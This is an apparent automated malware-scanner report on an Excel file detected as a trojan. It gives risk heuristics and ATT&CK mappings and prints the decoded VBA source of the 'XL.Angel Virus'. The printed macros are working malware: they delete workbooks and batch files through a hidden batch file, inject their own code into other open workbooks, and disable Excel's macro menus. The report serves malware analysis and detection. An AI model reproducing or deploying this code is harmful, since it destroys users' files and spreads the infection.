MALICIOUS
400
Risk Score
Malware Insights
MITRE ATT&CK
T1059.005 Visual Basic
T1547.001 Registry Run Keys / Startup Folder
T1566.001 Spearphishing Attachment
This Excel document contains malicious VBA macros, specifically a Workbook_Open macro that attempts to copy itself to the XLSTART directory and execute a batch file to delete existing XLS files. The macro also uses the Shell() function, indicating an attempt to execute arbitrary commands. The presence of the 'XL.Angel Virus' comment and the self-copying behavior strongly suggest a trojan designed for persistence and propagation.
Heuristics 8
-
ClamAV: Xls.Trojan.Dbt-1 critical CLAMAV_DETECTIONClamAV detected this file as malware: Xls.Trojan.Dbt-1
-
Embedded Office document has suspicious static findings critical EMBEDDED_OFFICE_CHILD_STATIC_TRIAGEA CFB/OLE Office document was found inside another file type and its carved contents matched Office exploit or payload heuristics. This catches wrapped exploit documents where the top-level file routes to a PE, archive, or generic scanner instead of Office.
-
VBA macros detected medium 3 related findings OLE_VBA_MACROSDocument contains VBA macro code
-
Shell() call in VBA critical OLE_VBA_SHELLShell() call in VBA
-
Workbook_Open macro high OLE_VBA_WBOPENWorkbook_Open macro
-
VBA p-code auto-exec with execution tokens high OLE_VBA_PCODE_AUTOEXEC_EXECCompiled VBA/cache stream contains an auto-execution token together with shell/download/object-execution tokens. This catches p-code-only or source-extraction-failure macro documents where visible source is unavailable.
-
OLE document has large unaccounted-for region high OLE_SLACK_ANOMALYOLE file is 59,144 bytes but its declared streams total only 0 bytes — 59,144 bytes (100%) live in unallocated sector slack. This is the canonical hiding place for pre-macro-era Office exploit payloads (XOR-encoded shellcode reached via a parser pointer-corruption bug in the document structure).
-
CFB header with no readable streams medium OLE_PARSE_EMPTY_STREAMSThe file begins with a valid OLE2/CFB header but exposes no directory streams. A non-empty compound document with an unreadable directory is anomalous — it is seen with truncated/corrupt files and, more importantly, with content deliberately shifted off byte boundaries to defeat parsers while the host application still recovers the object.
Extracted artifacts 3
Files carved from inside the sample during analysis.
| Filename | Kind | Source | Size |
|---|---|---|---|
macros.bas |
vba-macro | oletools.olevba.extract_macros (decoded VBA source) | 20838 bytes |
SHA-256: bb9a3768be7306d5edc22a788c1df1aaefd8bfa9f604f67098d17bc1e140ed6f |
|||
|
Detection
ClamAV:
Xls.Trojan.Dbt-1
Obfuscation or payload:
unlikely
|
|||
Preview scriptFirst 1,000 lines of the extracted script
Attribute VB_Name = "ThisWorkbook"
Attribute VB_Base = "0{00020819-0000-0000-C000-000000000046}"
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = True
'XL.Angel Virus
'For Educational Purposes only
'Do not Distribute
'koded by D@rkByTe
Private Sub Workbook_BeforeClose(Cancel As Boolean)
ChDir ("c:\My documents")
Call copyvir
If ActiveWorkbook.Name = "Angel.xls" Then ActiveWorkbook.Save
If ActiveWorkbook.Saved = False Then
ChDir ("c:\My documents")
Application.Dialogs(xlDialogSaveAs).Show
Else
ChDir ("c:\My documents")
ActiveWorkbook.Save
End If
End Sub
Private Sub Workbook_BeforeSave(ByVal SaveAsUI As Boolean, Cancel As Boolean)
ChDir ("c:\My documents")
If ActiveWorkbook.Name = "Angel.xls" Then ActiveWorkbook.Save
If ActiveWorkbook.Saved = False Then
ChDir ("c:\My documents")
Application.Dialogs(xlDialogSaveAs).Show
Else
ChDir ("c:\My documents")
ActiveWorkbook.Save
End If
End Sub
Private Sub Workbook_Open()
Call stealth
If Me.Name = "Angel.xls" Then
Workbooks.Add
copyvir
End If
End Sub
Sub copyvir()
q = Application.Path & "\xlstart"
ChDir (q)
w = Dir("*.xls")
If w = "" Or w <> "Angel.xls" Then
Open "delxls.bat" For Output As #1
Print #1, "del *.xls"
Print #1, "del *.bat"
Print #1, "exit"
Close #1
t = Shell("delxls.bat /c", vbHide)
Set newBook = Workbooks.Add
With newBook
.Title = "Angel"
.Subject = "Virus"
.SaveAs FileName:="Angel.xls"
End With
Call copyvir2
End If
Call copyvir2
End Sub
Sub copyvir2()
For Each w In Workbooks
For d = 1 To w.VBProject.VBComponents.Count
infected = w.VBProject.VBComponents(d).CodeModule.Find("Angel", 1, 1, 1000, 1000)
If infected = True Then
haba = w.VBProject.VBComponents(d).CodeModule.CountOfLines
code = w.VBProject.VBComponents(d).CodeModule.Lines(1, haba) & Chr(13) & "'" & "Infected Date : " & Date
End If
Next d
Next w
For Each w In Workbooks
For d = 1 To w.VBProject.VBComponents.Count
infected = w.VBProject.VBComponents(d).CodeModule.Find("Angel", 1, 1, 1000, 1000)
If infected = False Then
w.VBProject.VBComponents(d).CodeModule.InsertLines 1, code
End If
Next d
Next w
End Sub
Sub stealth()
Application.Dialogs(xlDialogRun).Application.EnableEvents = False
Application.CommandBars("Tools").Reset
Application.RecentFiles.Maximum = 0
Application.CommandBars("Tools").Controls("Macro").Enabled = False
Application.CommandBars("View").Controls("Toolbars").Enabled = False
Application.CommandBars("Tools").Controls("Customize...").Enabled = False
Application.CommandBars("Tools").Controls("Options...").Enabled = False
Application.CommandBars("Visual Basic").Visible = False
Application.CommandBars("Visual Basic").Controls("Macros...").Enabled = False
End Sub
'Infected Date : 2/22/2000
Attribute VB_Name = "Sheet1"
Attribute VB_Base = "0{00020820-0000-0000-C000-000000000046}"
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = True
'XL.Angel Virus
'For Educational Purposes only
'Do not Distribute
'koded by D@rkByTe
Private Sub Workbook_BeforeClose(Cancel As Boolean)
ChDir ("c:\My documents")
Call copyvir
If ActiveWorkbook.Name = "Angel.xls" Then ActiveWorkbook.Save
If ActiveWorkbook.Saved = False Then
ChDir ("c:\My documents")
Application.Dialogs(xlDialogSaveAs).Show
Else
ChDir ("c:\My documents")
ActiveWorkbook.Save
End If
End Sub
Private Sub Workbook_BeforeSave(ByVal SaveAsUI As Boolean, Cancel As Boolean)
ChDir ("c:\My documents")
If ActiveWorkbook.Name = "Angel.xls" Then ActiveWorkbook.Save
If ActiveWorkbook.Saved = False Then
ChDir ("c:\My documents")
Application.Dialogs(xlDialogSaveAs).Show
Else
ChDir ("c:\My documents")
ActiveWorkbook.Save
End If
End Sub
Private Sub Workbook_Open()
Call stealth
If Me.Name = "A
... (truncated)
|
|||
embedded_office_off000060f8.ole |
embedded-office | Embedded OLE/CFB Office body inside ole container at offset 0x60F8 | 59144 bytes |
SHA-256: 83bff5e22483847a88ecbdf1cde91c044043726f05efb5b8f6d2deb9899187ac |
|||
embedded_office_off00008e19.ole |
embedded-office | Embedded OLE/CFB Office body inside ole container at offset 0x8E19 | 47591 bytes |
SHA-256: f6993f3eb8799605648d5020ec3019d8d2c65f1ea4a429c00e4d286684b08f80 |
|||
Open this report in the interactive analyzer, or submit your own file for analysis.